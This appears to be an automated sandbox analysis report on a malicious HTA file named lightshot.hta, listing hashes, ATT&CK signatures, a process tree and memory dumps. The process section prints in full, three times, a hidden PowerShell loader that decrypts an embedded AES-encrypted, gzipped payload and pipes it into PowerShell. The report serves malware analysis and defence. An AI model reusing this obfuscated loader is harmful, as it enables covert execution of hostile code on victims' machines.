06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda

General

Target

lightshot.hta
Size

54KB
MD5

d4a2eb2ca3c9c631d7fe24550901187f
SHA1

adce21df1542c8867a8d3ee867ad963671290a9c
SHA256

06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda
SHA512

68679a0176e4eec9f1239e497e8f279e4e857062a251fdd12201622a92c676ded89c3eea5aaa1085277dde3137a8278f3df7ea886342f99b3d7b60551fa9daa9
SSDEEP

768:+rZm+DbOMXv/8/kpd6T0IBCFLGD6nqY79EtVaJOr:+rZmSbOMXv/8gd6TlBCJGD6qY79EtVDr

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1154728922-3261336865-3456416385-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2276 powershell.exe
2276 powershell.exe
2276 powershell.exe
2736 powershell.exe
2964 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2276 powershell.exe
Token: SeDebugPrivilege 2736 powershell.exe
Token: SeDebugPrivilege 2964 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1154728922-3261336865-3456416385-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2736	powershell.exe
2964	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

mshta.exepowershell.execmd.exe

description	pid	process	target process
PID 2244 wrote to memory of 2276	2244	mshta.exe	powershell.exe
PID 2244 wrote to memory of 2276	2244	mshta.exe	powershell.exe
PID 2244 wrote to memory of 2276	2244	mshta.exe	powershell.exe
PID 2244 wrote to memory of 2276	2244	mshta.exe	powershell.exe
PID 2276 wrote to memory of 2796	2276	powershell.exe	cmd.exe
PID 2276 wrote to memory of 2796	2276	powershell.exe	cmd.exe
PID 2276 wrote to memory of 2796	2276	powershell.exe	cmd.exe
PID 2276 wrote to memory of 2796	2276	powershell.exe	cmd.exe
PID 2796 wrote to memory of 2736	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 2736	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 2736	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 2736	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 2964	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 2964	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 2964	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 2964	2796	cmd.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\lightshot.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2244

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell - }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2276

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell -
3⤵
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2964

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H9R4B6U6Q9MXMYIWY6L1.temp
Filesize
7KB

MD5
0fe0199c1455040ad9e6be8c5a33eada

SHA1
2c29339946d894251f89a88c500aeecaec2df60d

SHA256
76a08749d658cb6d771753bd940f6f10cf570c88d9c2c5aa87c63535f70e8dea

SHA512
9d48c7e709e13ec948deea13913e6c75c45b182a76010a5df3bbe4a760078289d5d2dbcd447b3a4849933e59e90b19b4a8040794530b8f564fe146783449f2f3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
0fe0199c1455040ad9e6be8c5a33eada

SHA1
2c29339946d894251f89a88c500aeecaec2df60d

SHA256
76a08749d658cb6d771753bd940f6f10cf570c88d9c2c5aa87c63535f70e8dea

SHA512
9d48c7e709e13ec948deea13913e6c75c45b182a76010a5df3bbe4a760078289d5d2dbcd447b3a4849933e59e90b19b4a8040794530b8f564fe146783449f2f3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
0fe0199c1455040ad9e6be8c5a33eada

SHA1
2c29339946d894251f89a88c500aeecaec2df60d

SHA256
76a08749d658cb6d771753bd940f6f10cf570c88d9c2c5aa87c63535f70e8dea

SHA512
9d48c7e709e13ec948deea13913e6c75c45b182a76010a5df3bbe4a760078289d5d2dbcd447b3a4849933e59e90b19b4a8040794530b8f564fe146783449f2f3

Download Submit
memory/2276-6-0x0000000002650000-0x0000000002690000-memory.dmp

Filesize
256KB

Download
memory/2276-2-0x0000000071D70000-0x000000007231B000-memory.dmp

Filesize
5.7MB

Download
memory/2276-7-0x0000000071D70000-0x000000007231B000-memory.dmp

Filesize
5.7MB

Download
memory/2276-5-0x0000000002650000-0x0000000002690000-memory.dmp

Filesize
256KB

Download
memory/2276-4-0x0000000002650000-0x0000000002690000-memory.dmp

Filesize
256KB

Download
memory/2276-3-0x0000000071D70000-0x000000007231B000-memory.dmp

Filesize
5.7MB

Download
memory/2736-19-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2736-18-0x00000000717C0000-0x0000000071D6B000-memory.dmp

Filesize
5.7MB

Download
memory/2736-20-0x00000000717C0000-0x0000000071D6B000-memory.dmp

Filesize
5.7MB

Download
memory/2736-21-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2736-35-0x00000000717C0000-0x0000000071D6B000-memory.dmp

Filesize
5.7MB

Download
memory/2964-22-0x00000000022C0000-0x0000000002300000-memory.dmp

Filesize
256KB

Download
memory/2964-23-0x00000000717C0000-0x0000000071D6B000-memory.dmp

Filesize
5.7MB

Download
memory/2964-24-0x00000000022C0000-0x0000000002300000-memory.dmp

Filesize
256KB

Download
memory/2964-25-0x00000000717C0000-0x0000000071D6B000-memory.dmp

Filesize
5.7MB

Download
memory/2964-36-0x00000000717C0000-0x0000000071D6B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing